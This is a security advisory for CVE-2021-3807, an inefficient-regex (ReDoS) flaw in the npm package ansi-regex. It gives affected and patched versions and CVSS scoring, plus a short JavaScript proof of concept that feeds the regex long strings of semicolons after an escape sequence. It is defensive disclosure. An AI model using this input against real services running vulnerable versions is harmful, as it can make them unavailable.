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Inefficient Regular Expression Complexity in chalk/ansi-regex

High severity GitHub Reviewed Published Sep 20, 2021 to the GitHub Advisory Database • Updated Sep 21, 2023

Package

npm ansi-regex (npm)

Affected versions

>= 6.0.0, < 6.0.1
>= 5.0.0, < 5.0.1
>= 4.0.0, < 4.1.1
>= 3.0.0, < 3.0.1

Patched versions

6.0.1
5.0.1
4.1.1
3.0.1

Description

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

References

Published by the National Vulnerability Database Sep 17, 2021
Reviewed Sep 20, 2021
Published to the GitHub Advisory Database Sep 20, 2021
Last updated Sep 21, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.396%
(74th percentile)

Weaknesses

CVE ID

CVE-2021-3807

GHSA ID

GHSA-93q8-gq69-wqmw

Source code

Credits

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